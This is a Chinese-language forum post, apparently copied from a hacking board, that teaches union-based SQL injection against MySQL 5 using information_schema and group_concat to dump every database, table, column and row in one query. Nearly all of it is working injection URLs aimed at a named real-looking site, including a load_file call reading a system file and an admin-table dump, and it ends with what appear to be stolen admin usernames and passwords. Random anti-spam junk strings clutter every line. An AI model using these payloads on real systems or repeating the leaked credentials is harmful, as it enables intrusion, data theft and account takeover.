此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似& I% d& k R( e9 f
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人4 g- c/ F3 H% b2 J/ ~5 S9 B) u7 ~
: ?$ C2 e: V& B9 Y& R
$ l% q) c$ |& x" o! w$ E R优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
- _/ \5 N% K, n0 ?4 D9 \8 T) e3 W! F/ Q7 p2 @+ c2 D
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...& ~' a* P) {4 c' W" ]" L2 f4 I# c
) H( K, u5 p( S' Z. ^. K
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示' {4 y( T/ v' O
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等& d d5 t. T1 |# Y( n5 E3 C
3 }6 \' g) B& Whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
% {4 p4 \- j' ^# ?7 {6 Q7 f* ] j# O w
读出所有库:( R" h' r X# o" S
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
: B8 [" W, Z. E6 Q; c0 z8 r! v. `! x' ^$ r
6 C' i. D9 k" T. |" o2 g/ p# b
8 D& n* G0 k. j8 L( r
读出所有表:# Q3 @* k1 X4 j' R; q- U
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database(), L5 C3 p' H, i: ^7 x
4 L' D) {$ y. C# ]& W; I& c* m7 c
读出所有表字段:
4 l0 T$ Q) b& `! `1 fhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
" {4 X$ @7 ~9 R*/ (97,100,109,105,110)为admin的ascii码 依次类推
) r: Z' j2 y& T# @4 R) M' u/ b# r* X! L! U
读出所有表字段里的内容:. }% t7 [0 W5 o) N0 R/ j
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin- N$ H' h; s. h- ]1 K+ e
! v# S$ H+ G7 d3 K3 b; D( Z7 s$ Z% H8 L _( K' A* R
7 m4 |5 ^, b, x* Q0 J8 t
, M2 n. a& K& S' c/ A# v1 z/ `( Z4 b7 _. b. Z# ~0 P
* @: B7 [1 }# F4 p" Q$ H3 o
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
" y9 F. V5 u& C1 T; X3 a7 D7 C' H; V
. s- t$ d& n+ M* Y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23, _+ D3 {5 z; N, t/ ^! B, j
5 I7 l6 c+ ^) X, G) ?' _http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%234 P K+ B) J- r, {' U, s+ K
8 k1 R& w: H* s6 J- Q; ~
: d& E; [3 F2 r/ ^- \http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23, i# a4 E& w1 T3 V
* u4 w. n) H, }- ^! q4 X# z2 G2 y; y7 A+ b6 v6 F1 ?7 \
webmaster:dzb521123,simlab:simadmin20043233
% [. v& D8 c5 ^) M) A |